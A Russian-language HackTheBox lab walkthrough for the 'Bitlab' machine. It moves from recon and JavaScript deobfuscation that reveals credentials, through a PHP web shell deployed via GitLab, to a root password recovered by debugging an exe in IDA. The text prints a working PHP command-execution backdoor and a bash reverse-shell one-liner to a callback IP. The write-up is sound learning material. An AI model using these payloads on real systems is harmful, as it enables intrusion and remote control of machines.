Данной статьей я начну публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. В данной статье разберемся с легенькой JavaScript обфускацией, загрузим бэкдор через репозиторий Git, и отладим 32- приложение.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Разведка
Сканирование портов
Данная машиина имеет IP адрес 10.10.10.114, который я добавляю в /etc/hosts.
10.10.10.114 bitlab.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 1000 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.114 --rate=1000
Далее нужно собрать больше информации об известных нам портах.
nmap -A bitlab.htb -p22,80
Как следует из отчета nmap на хосте работает SSH и веб-сервер. Причем на веб-сервере имеется robots.txt. Пройдя по директориям из этого списка, отмечаем, что работает gitlab и имеется непроиндексированная дирректория help.
Переходя на страницу bookmarks имеем несколько ссылок.
JS
Все указывают на сайт того или иного продукта, кроме последней, которая содержит не адрес, а JS код.
При чем данный код обфусцирован.
javascript:(function(){ var _0x4b18=["x76x61x6Cx75x65","x75x73x65x72x5Fx6Cx6Fx67x69x6E","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x63x6Cx61x76x65","x75x73x65x72x5Fx70x61x73x73x77x6Fx72x64","x31x31x64x65x73x30x30x38x31x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()
Чтобы получить более читаемый код, можно воспольоваться следующим сайтом.
Немного доработав код, получим выполнение следующих инструкций.
document.getElementById("user_login").value = "clave";
document.getElementById("user_password").value = "11des0081x";
Git
С этими аутентификационными данными авторизуемся в gitlab. Там находим два профиля.
Так же можно обнаружить один проект, в котором происходит подключение к базе данных, в коде присутствую все данные для подключения.
Проверив Profile ничего интересного не находим.
В Deployer только php код.
Из данного кода становится понятно, что если мы разместил в профиле разместим файл, то он будет развернут на сервере.
Entry Рoint
Нам нужно разместить рhр бэкдор. К пример, тот, который будет принимать и выполнять команды.
<?php $cmd = $_REQUEST['cmd']; system($cmd); die; ?>
Для того открываем Profile и создаем новый файл.
И после добавления наш файл появится в репозитории.
Теперь тестируем бэкдор.
Теперь получим полноценный шелл.
bash -i >& /dev/tcp/10.10.15.150/4321 0>&1
И видим обратное подключение к своему хосту.
USER
Попав на хост, обязательно необходимо проверить данные, приобретенные ранее. Это данные для доступа к базе данных.
Открываев интерпретатор PHP в интерактивном режиме. Используем найденный код и просматриваем найденные данные. Пароль пользователя в base64, декодируем его.
Так мы узнаем пароль, которым видимо сможем подключиться по SSH. Но этого не вышло, так как base64 и есть пароль)).
ROOT
Осматриваясь на машине, находим в домашней дирректории пользователя exe файл.
Скопируем его себе на хост для анализа.
scp clave@10.10.10.114:~/RemoteConnection.exe .
Далее открываем файл в IDA Pro. Пролистав главную функцию main, можно найти сравнение переменной с именем пользователя и создание процесса с putty — программа для сетевых соединений.
Можно предположить, что соединение происходит с предоставлением аутентификационных данных, и их нам нужно найти. Данные соединения будут передаваться putty в качестве параметра, т.е. переменной v3.
Можно посмотреть готовую строку при отладке, но в IDA 32-х битный файл крашится. Пошагово отладив, понимаем, что это происходит после вызова GetUserNameW. Поступаем следующим образом.
Ставим BP на фрагменте сравнения имени.
Теперь ставим BP перед загрузкой параметров для функции GetUserNameW.
Запустим программу в отладчике. Отладка остановится перед вызовом нужной нам функции.
Теперь патчим код. Вместо загрузки параметров и вызова функции нужно поставить инструкцию NOP. Я для этого использую плагин Keypatch.
Теперь код выглядит так.
Продолжим отладку программы, чтобы она остановилась на сравнении имени. В этот момент адрес строки параметра уже будет загружен в регистр EAX для передачи в качестве параметра ShellExecuteW.
Теперь нажмем на стрелочку(jump in disassembly) рядом с регистром EAX. Это поволит перейти по адресу из EAX в главном окне IDA.
По данному адресу расположена строка параметра. Как можно видить она содержит симантически правильный текст “-ssh root… “. Но каждый символ представлен 2-я байтами. Чтобы удобно собрать строку нажмем Alt+A.
И в данном окне выбираем Unicode C-Style (16 bit). После чего наблюдаем корректно собранную строку.
В данной строке имеется пароль рута. Подключаемся по ssh и забираем токен.
Вы можете присоединиться к нам в Telegram. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Автор: RalfHacker